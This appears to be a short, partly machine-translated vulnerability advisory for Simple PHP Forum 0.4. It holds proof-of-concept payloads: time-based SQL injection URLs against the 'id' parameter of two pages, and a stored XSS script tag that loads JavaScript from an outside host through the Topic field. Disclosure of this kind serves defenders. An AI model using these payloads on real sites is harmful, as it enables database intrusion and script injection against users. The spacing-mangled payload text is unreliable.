Sphpforum 0.4 multiple defects and repair

Author: loneferret of Offensive Security
 
Affected products: sphpforum
 
Affected versions: 0.4 (older versions may be affected)
 
: Http://sourceforge.net/projects/sphpforum/
 
Program Overview
 
# Simple PHP Forum is a PHP based forum/BBS board is designed to be small, simple,
 
# Fast and allow easy integration into any existing web site.
 

 
Defect Analysis:
 
# Due to improper input sanitation, parameters are prone to SQL injection. Stored
 
# Crossed site scripting is also present in some forms.
 

 
# PoC 1:
 
# SQL Injection
 
# Page: view_topic.php/view_profile.php?
 
Defect parameter 'id'
 
# Http://www.2cto.com/sphpforum/sphpforum-0.4/view_topic.php? Id = 50% 27% 20and % 20 sleep % 2810% 29% 20and % 20% 271% 27 = % 271
 
# Http: // 172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php? Id = loneferret % 27% 20and % 20 sleep % 2810% 29% 20and % 20% 27 = % 271%
 

 
# PoC 2:
 
# Stored XSS
 
# Page: create_topic.php
 
# Vulnerable field: Topic
 
# Payload: <script src = http://ha.ckers.org/xss.js> </SCRIPT>